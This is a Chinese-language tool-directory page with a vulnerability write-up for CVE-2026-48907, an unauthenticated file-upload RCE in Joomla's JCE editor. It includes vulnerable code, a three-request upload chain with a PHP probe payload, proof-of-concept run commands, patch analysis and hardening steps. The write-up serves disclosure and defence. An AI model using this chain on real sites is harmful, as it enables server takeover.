Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-48907 — 针对CVE-2026-48907的概念验证利用和技术分析,该漏洞是Joomla内容编辑器(JCE)中CVSS 10.0的预认证远程代码执行漏洞。包含3请求攻击链和详细补丁分析。 | Kitploit
工具/GitHubGitHub/grayxploit/cve-2026-48907
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

针对CVE-2026-48907的概念验证利用和技术分析,该漏洞是Joomla内容编辑器(JCE)中CVSS 10.0的预认证远程代码执行漏洞。包含3请求攻击链和详细补丁分析。

查看仓库
32个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-48907 — Joomla 内容编辑器 (JCE) ≤ 2.9.99.4 中的未认证 RCE

CVE-2026-48907 的概念验证利用程序——一个 CVSS 10.0 的预认证远程代码执行漏洞,存在于 Joomla 内容编辑器 (JCE) 扩展中。
由 Grayxploit 安全团队 研究

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

目录

  • 概述
  • 受影响版本
  • 漏洞详情
  • 攻击流程
  • 概念验证
  • 补丁分析
  • 修复建议
  • 时间线
  • 参考
  • 免责声明

概述

CVE-2026-48907 是一个影响 Joomla 内容编辑器 (JCE) 扩展的严重未认证远程代码执行 (RCE) 漏洞。JCE 是最广泛安装的 Joomla 编辑器,所有版本包括 2.9.99.4 及以下均受影响。

通过链式利用 JCE 配置文件导入流程中的三个独立安全弱点,完全未认证的攻击者可以:

  • 将任意 PHP 网页后门上传到服务器的 /tmp/ 目录
  • 通过 HTTP 触发该网页后门的执行
  • 无需凭据、无需用户交互、无需特殊网络位置即可实现完全远程代码执行 (RCE)

该攻击仅需要 3 个 HTTP 请求,且适用于任何运行受影响 JCE 版本的默认 Joomla 安装。

CVSS v4 评分:10.0 — 严重

由 Grayxploit 安全研究团队在负责任的披露后公开。


受影响版本

软件受影响版本补丁版本
Joomla 内容编辑器 (JCE)≤ 2.9.99.42.9.99.6(推荐)

注意: 2.9.99.5 引入了核心修复。2.9.99.6 增加了额外的加固层。请升级到 2.9.99.6 或更高版本。


漏洞详情

漏洞源于 JCE 配置文件导入端点:

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

JCE 允许管理员将编辑器配置文件导出和导入为 XML 文件。由于三个独立弱点的链式利用,导入处理器可在无需认证的情况下访问,并接受任意文件上传。

弱点 1 — 授权缺失 (CWE-862)

导入控制器未执行任何 ACL 检查:

root@kitploit:~
public function import()
{
    // 唯一关卡:CSRF 令牌 —— 可轻易绕过
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … 直接进入文件处理 —— 没有 authorise() 检查
}

Joomla 将 CSRF 令牌嵌入每个公开页面,作为 meta 标签或 JS 变量:

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

攻击者只需抓取首页,提取令牌,然后重放。CSRF 检查可防止跨站请求 —— 但它不能防止直接的脚本化请求。导入路径中没有任何地方调用 Factory::getUser() 或 $user->authorise(...)。


弱点 2 — 无文件扩展名验证 (CWE-434)

上传处理器使用了 File::makeSafe(),该方法仅去除非法文件系统字符 —— 它不验证或限制文件扩展名:

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // 仅去除非法字符

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

像 shell.xml.php 这样的文件名会原封不动地通过 File::makeSafe()。Apache 的 mod_php 会执行它,因为最后一个被识别的扩展名是 .php。诸如 .php、.php5、.phtml 以及双扩展名变种均被接受。


弱点 3 — 以 $allow_unsafe = true 调用 File::upload() (CWE-116)

Joomla 的 File::upload() 内置了一个扩展名黑名单,当 $allow_unsafe = false(默认)时会阻止危险文件类型:

root@kitploit:~
// Joomla File::upload() 签名
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

受影响的 JCE 代码明确禁用了这一安全网:

root@kitploit:~
// 有漏洞 —— 明确允许不安全的文件上传
File::upload($source, $destination, false, true);

这一个布尔值就关闭了 Joomla 的整个内部扩展名黑名单,从而允许 .php、.php5、.phtml 以及所有其他可执行扩展名写入磁盘。


攻击流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← 从 HTML/JS 中提取 csrf_token                             │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK(文件写入 /var/www/html/tmp/)                      │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← 响应:"3105"  (45 × 69 = RCE 确认 ✓)                       │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  无需会话 Cookie。无需用户名。无需密码。仅需 3 个 HTTP 请求。

概念验证

⚠️ 此 PoC 严格仅供授权的安全研究和渗透测试使用。未经明确书面许可,请勿在任何系统上使用。未经授权的使用是非法且不道德的。

要求

root@kitploit:~
pip3 install requests

用法

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

预期输出(受影响目标)

[] 目标 : http://localhost:9999

[] 负载 : cve-2026-48907-4821.xml.php [] 步骤 1 — 获取 CSRF 令牌...

[+] CSRF 令牌: abcdef1234567890abcdef1234567890

[] 步骤 2 — 上传负载...

[+] 上传响应: HTTP 200

[*] 步骤 3 — 触发负载执行...

[+] 响应: 3105

[严重] RCE 确认 — CVE-2026-48907

目标 http://localhost:9999 存在漏洞


补丁分析

所有三个弱点均已在 JCE 2.9.99.5 中修复,并在 2.9.99.6 中发布了额外的加固措施。

修复 1 — 添加授权检查 (CWE-862 修复)

controller/profiles.php:

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

访客用户(id = 0)将立即通过 authorise() 验证失败。在任何文件处理发生之前请求被拒绝。

修复 2 — 严格的扩展名白名单 (CWE-434 修复)

models/profile.php:

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION 仅返回最终扩展名。shell.xml.php → php → 被拒绝。消除了所有多扩展名绕过方法。

修复 3 — 移除了不安全标志 (CWE-116 修复)

root@kitploit:~
// 之前(有漏洞)
File::upload($source, $destination, false, true);

// 之后(已修复)
File::upload($source, $destination, false);

Joomla 的内部扩展名黑名单重新启用,作为独立的防御层。

2.9.99.6 中的额外加固

修复详情
上传大小上限拒绝大于 512 KB 的文件
XXE 保护向后移植到 PHP 7.x 的 libxml_disable_entity_loader(true)
XML 字段白名单仅处理已知安全的 XML 键;未知键被静默忽略

修复建议

通过 .htaccess 禁用 /tmp/ 中的 PHP

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

时间线


参考

  • NVD — CVE-2026-48907
  • Grayxploit 博客 — 完整报告
  • JCE 官方网站
  • Joomla 安全公告
  • CWE-862: 授权缺失
  • CWE-434: 对危险类型文件的上传限制不严格

免责声明

本仓库仅专供在您拥有或已获得明确书面许可的系统上进行授权的安全研究、教育和渗透测试。

Grayxploit 团队不对任何未经授权、非法或恶意使用本仓库代码或信息的行为负责。

请负责任地使用。请合法地测试。


许可证

本项目采用 MIT 许可证。


   



觉得有用?请给个喜欢。

每一颗星都能帮助这项研究触及更多需要它的防御者、渗透测试人员和蓝队成员。


   




关于 Grayxploit

Grayxploit 是一个独立的安全研究团队,专注于漏洞发现、漏洞利用开发以及跨 Web 平台、CMS 生态系统和开源软件的责任披露。

下载工具
优先级操作
🔴 立即将 JCE 升级到 ≥ 2.9.99.6
🟠 高在服务器层面阻止或限制对 /tmp/ 的 Web 访问
🟠 高通过 .htaccess 或服务器配置禁用临时目录中的 PHP 执行
🟡 中添加 WAF 规则,对未认证会话中 com_jce&task=profiles.import 进行告警/阻止
🟡 中审计其他 Joomla 扩展中是否存在 File::upload(..., true) 且无扩展名验证的情况
日期事件
2026-05-XXGrayxploit 研究团队发现漏洞
2026-05-XX向 JCE 维护者提交负责任的披露
2026-06-XXMITRE 分配 CVE-2026-48907
2026-06-XXJCE 2.9.99.5 发布 —— 核心修复
2026-06-12JCE 2.9.99.6 发布 —— 额外加固
2026-06-12Grayxploit 公开披露
我们发现我们披露你来防御
预认证 RCE负责任的公开借助我们详细的补丁分析
逻辑缺陷完整根因分析安全使用我们的 PoC
链式漏洞在大规模利用之前比威胁者更快

有线索或想合作?请提出 Issue 或通过我们的 GitHub 个人资料联系。



CVE-2026-48907 — 原创研究来自

🔐 Grayxploit 安全团队

负责任地破坏事物。